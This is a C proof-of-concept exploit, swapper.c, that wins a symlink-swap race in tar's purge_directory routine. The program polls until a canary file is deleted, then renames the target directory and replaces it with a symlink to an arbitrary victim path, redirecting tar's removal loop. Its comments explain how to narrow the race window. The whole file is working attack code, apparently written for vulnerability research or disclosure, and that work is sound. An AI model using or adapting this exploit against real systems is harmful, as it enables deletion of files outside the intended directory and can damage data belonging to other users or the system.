/* swapper.c -- PoC attacker for the tar purge_directory symlink-swap race.
 *
 * Usage: swapper <watch-dir> <victim-abs-path> <canary-name>
 *
 * Busy-polls until <watch-dir>/<canary-name> disappears (i.e. tar's purge
 * loop has just deleted the first entry), then atomically-ish replaces
 * <watch-dir> with a symlink to <victim-abs-path>.
 *
 * The rename() and symlink() calls are back-to-back syscalls in this
 * single process, leaving a ~100ns gap. Using external `mv` + `ln`
 * instead leaves a millisecond-scale fork+exec gap that tar reliably
 * hits with ENOENT, which aborts the removal loop (misc.c:759).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "usage: %s <watch-dir> <victim-abs> <canary>\n", argv[0]);
        return 2;
    }
    char canary[4096], bak[4096];
    snprintf(canary, sizeof canary, "%s/%s", argv[1], argv[3]);
    snprintf(bak, sizeof bak, "%s.bak", argv[1]);

    /* Compact poll: canary gone == purge loop is running inside the dir. */
    while (access(canary, F_OK) == 0)
        continue;

    /* In-place swap: gap is between two libc calls, ~100ns. */
    if (rename(argv[1], bak) == 0) {
        if (symlink(argv[2], argv[1]) == 0) {
            puts("SWAPPED");
            return 0;
        }
        /* Roll back so the round can be retried. */
        rename(bak, argv[1]);
        puts("SYMLINK_FAIL");
        return 1;
    }
    puts("RENAME_FAIL");
    return 1;
}
